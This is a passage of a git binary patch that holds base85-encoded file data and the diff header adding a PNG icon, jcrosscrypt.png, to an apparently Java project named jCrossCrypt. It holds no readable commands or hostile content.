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 literal 0 HcmV?d00001 diff --git a/java/jCrossCrypt/jcrosscrypt.png b/java/jCrossCrypt/jcrosscrypt.png new file mode 100755 index 0000000000000000000000000000000000000000..a37f0afdcbd5ff5d73053e06efe968d42927e549 GIT binary patch literal 10620 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 